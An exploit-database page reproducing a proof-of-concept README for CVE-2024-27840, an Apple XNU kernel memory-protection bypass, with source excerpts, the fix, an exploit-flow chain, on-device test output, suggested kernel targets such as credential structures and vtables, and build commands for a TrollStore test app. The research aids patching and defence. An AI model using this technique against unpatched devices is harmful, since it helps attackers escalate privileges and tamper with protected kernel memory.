Exploit for Access of Memory Location Before Start of Buffer in Apple Ipados CVE-2024-27840

## https://sploitus.com/exploit?id=7A2D7C82-69EE-5F63-BB3A-5977445CAC6A
# CVE-2024-27840 — Kernel Memory Protection Bypass

**First public on-device confirmation of this vulnerability.**

Confirmed on iPhone 13 Pro Max, iOS 17.0 (21A329).

## Summary

| | |
|---|---|
| **CVE** | CVE-2024-27840 |
| **Type** | Kernel memory protection bypass |
| **Precondition** | Kernel code execution |
| **Impact** | Create writable mappings to kernel read-only pages |
| **Patched** | iOS 17.5 / macOS 14.5 (May 13, 2024) |
| **Affects** | iOS ≤17.4, macOS ≤14.4, tvOS ≤17.4, watchOS ≤10.4, visionOS ≤1.1 |
| **Apple Description** | *"An attacker that has already achieved kernel code execution may be able to bypass kernel memory protections"* |
| **Researcher** | Anonymous |

## Root Cause (Two-Stage)

### Stage 1 — Missing `cur ≤ max` validation in `vm_map_enter_mem_object_helper()`

`osfmk/vm/vm_map.c` (xnu-10063.101.15, line 4172):

```c
if ((target_map == VM_MAP_NULL) ||
    (cur_protection & ~(VM_PROT_ALL | VM_PROT_ALLEXEC)) ||
    (max_protection & ~(VM_PROT_ALL | VM_PROT_ALLEXEC)) ||
    (inheritance > VM_INHERIT_LAST_VALID) ||
    (try_prefault && (copy || !page_list)) ||
    initial_size == 0) {
    return KERN_INVALID_ARGUMENT;
}
// NO CHECK: (cur_protection & max_protection) == cur_protection
```

The function validates that `cur_protection` and `max_protection` have valid bits, but never validates that `cur_protection` is a **subset** of `max_protection`. A caller can create a mapping with `cur=RW, max=R`.

**Fix** (xnu-10063.121.3, line 4196):
```c
if (__improbable((cur_protection & max_protection) != cur_protection)) {
    cur_protection &= max_protection;
}
```

### Stage 2 — `assert()` compiled out in RELEASE builds

`osfmk/vm/vm_fault.c` contains `pmap_has_prot_policy()` checks that enforce memory protection policies:

```c
// Pre-fix (xnu-10063.101.15, vm_fault.c:3761)
if (!pmap_has_prot_policy(pmap, ..., *prot)) {
    *prot &= ~VM_PROT_WRITE;
} else {
    assert(cs_bypass);  // THIS IS ((void)0) IN RELEASE BUILDS
}
```

From `osfmk/kern/assert.h`:
```c
#if MACH_ASSERT
#define assert(ex)  (__builtin_expect(!!((ex)), 1L) ? (void)0 : Assert(...))
#else
#define assert(ex) ((void)0)   // COMPLETELY REMOVED
#endif
```

Apple ships RELEASE kernels. `MACH_ASSERT=0`. Every `assert()` expands to `((void)0)`. The protection policy check **never executes** on production devices.

**Fix**: All 16 `assert(!pmap_has_prot_policy(...))` calls converted to `if (pmap_has_prot_policy(...)) panic(...)`, which executes unconditionally in all builds.

## Exploit Flow

```
Kernel code execution
  → vm_map_enter_mem_object(kernel_map, cur=RW, max=R)
    → No cur⊆max validation → mapping created with cur=RW
      → Page fault → pmap_enter(VM_PROT_READ|VM_PROT_WRITE)
        → pmap_has_prot_policy() returns TRUE
          → assert(cs_bypass) → ((void)0) in RELEASE
            → PTE created with write permission
              → Kernel read-only page is now writable
```

## On-Device Confirmation

Tested on **iPhone 13 Pro Max, iOS 17.0 (21A329)**:

```
=== CVE-2024-27840 Test ===
Testing cur_protection > max_protection bypass

[1] Allocated page at 0x100cfc000 (size=0x4000)
[2] Memory entry created (entry_prot=RW)
[3] mach_vm_map ACCEPTED cur=RW, max=R
    Mapped at 0x100d00000
[4] Read through mapping: 0x41 ('A')
[5] Attempting write...
[5] WRITE SUCCEEDED
    Original page reads: 'B'

=============================
VULNERABLE: CVE-2024-27840
cur>max bypass is functional
=============================

[6] mach_vm_protect(RW) on max=R: (os/kern) protection failure
```

Key observations:
- `mach_vm_map` accepts `cur_protection > max_protection` without error
- Write through the `cur>max` mapping succeeds — PTE created with write permission
- Original page modified (not CoW copy) — same physical page
- `mach_vm_protect` to RW fails — the protect path enforces `max_protection`, but the initial mapping path does not

On **macOS 26.4** (patched): same test shows `mach_vm_map` returns `KERN_SUCCESS` but write faults with `SIGBUS` — `cur_protection` silently clamped to `max_protection`.

## SPTM Considerations

On SPTM devices (A15+, iOS 17+):
- Pages typed as `XNU_DEFAULT` (majority of kernel memory) — **vulnerable** via this bypass
- Pages typed with SPTM protection (pmap_ro_zone, PPL pages) — **hardware-enforced**, this bypass alone is insufficient

Target candidates on SPTM devices: process credentials (`struct ucred`), task/thread structures, IOKit object vtables, kernel heap metadata.

## Files

| File | Description |
|---|---|
| `poc.c` | Full PoC with analysis — kernel-context pseudocode + userspace demo |
| `ios_test_app.m` | iOS app source (UIKit) for TrollStore installation |
| `Info.plist` | App bundle metadata |
| `CVE27840App.ipa` | Pre-built TrollStore .ipa (arm64, iOS 15.0+, ldid signed) |

## Building the iOS App

```bash
xcrun --sdk iphoneos clang \
  -target arm64-apple-ios15.0 \
  -isysroot "$(xcrun --sdk iphoneos --show-sdk-path)" \
  -framework UIKit -framework Foundation -framework CoreGraphics \
  -fobjc-arc -O2 \
  -o CVE27840App.app/CVE27840App ios_test_app.m

ldid -S CVE27840App.app/CVE27840App

mkdir -p Payload && cp -r CVE27840App.app Payload/
zip -r CVE27840App.ipa Payload/
```

Install via TrollStore on iOS ≤17.4.

## XNU Source References

- Pre-patch: [`xnu-10063.101.15`](https://github.com/apple-oss-distributions/xnu/tree/xnu-10063.101.15) (macOS 14.4 / iOS 17.4)
- Post-patch: [`xnu-10063.121.3`](https://github.com/apple-oss-distributions/xnu/tree/xnu-10063.121.3) (macOS 14.5 / iOS 17.5)
- Key files: `osfmk/vm/vm_map.c`, `osfmk/vm/vm_fault.c`, `osfmk/kern/assert.h`

## Timeline

| Date | Event |
|---|---|
| 2024-05-13 | Apple patches CVE-2024-27840 in iOS 17.5 / macOS 14.5 |
| 2024-06-10 | CVE entry retroactively added to iOS 17.5 advisory |
| 2025-03-27 | First on-device confirmation (this work) |

## Disclaimer

This research is for **educational and defensive security purposes only**. The userspace PoC operates exclusively on the calling process's own memory and cannot access kernel memory, cause data loss, or trigger kernel panics.

## Credits

Vulnerability discovered by an anonymous researcher (per Apple's advisory).
Analysis, on-device confirmation, and PoC by [@Somisomair](https://github.com/Somisomair).